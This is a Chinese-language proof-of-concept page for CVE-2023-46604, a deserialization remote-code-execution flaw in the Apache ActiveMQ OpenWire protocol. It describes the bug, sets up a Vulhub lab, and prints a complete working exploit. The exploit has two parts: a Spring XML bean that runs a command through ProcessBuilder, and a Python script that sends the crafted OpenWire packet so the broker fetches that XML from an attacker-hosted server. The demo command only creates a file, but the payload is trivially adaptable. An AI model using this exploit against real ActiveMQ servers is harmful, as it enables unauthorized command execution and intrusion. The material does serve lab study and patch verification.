Awesome-POC/中间件漏洞/Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604.md

122 lines
4.5 KiB
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604
## 漏洞描述
Apache ActiveMQ 是美国阿帕奇Apache软件基金会所研发的一套开源的消息中间件它支持Java消息服务、集群、Spring Framework等。
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前OpenWire协议通信过程中存在一处反序列化漏洞该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
参考链接:
- [https://activemq.apache.org/news/cve-2023-46604](https://activemq.apache.org/news/cve-2023-46604)
- [https://xz.aliyun.com/t/12929](https://xz.aliyun.com/t/12929)
- [https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/](https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/)
- [https://forum.butian.net/share/2566](https://forum.butian.net/share/2566)
## 环境搭建
ActiveMQ运行后默认监听如下两个端口
|默认端口|默认条件|
|---|---|
|8161 web|需配置才可远程访问|
|61616 tcp|远程访问|
反序列化漏洞出现在61616端口中。
Vulhub 执行如下命令启动一个ActiveMQ 5.17.3版本服务器:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8161`检查服务是否运行成功。但实际上利用该漏洞并不需要能够访问8161端口。
![](images/Apache%20ActiveMQ%20OpenWire%20协议反序列化命令执行漏洞%20CVE-2023-46604/image-20240104094726313.png)
## 漏洞复现
首先启动一个HTTP反连服务器其中包含[poc.xml](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.xml)
```shell
python3 -m http.server 6666
```
然后,执行[poc.py](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.py)传入的三个参数分别是目标服务器地址、端口以及包含poc.xml的反连平台URL
```shell
python3 poc.py your-ip 61616 http://your-server/poc.xml
```
等待执行几分钟后执行完成。进入ActiveMQ容器
```
docker exec cve-2023-46604-activemq-1 ls -l /tmp
```
可见,`touch /tmp/activeMQ-RCE-success`已经被成功执行:
![](images/Apache%20ActiveMQ%20OpenWire%20协议反序列化命令执行漏洞%20CVE-2023-46604/image-20240104102657021.png)
## 漏洞POC
[poc.xml](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.xml)
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/activeMQ-RCE-success</value>
</list>
</constructor-arg>
</bean>
</beans>
```
[poc.py](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.py)
```python
import io
import socket
import sys
def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))
with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
```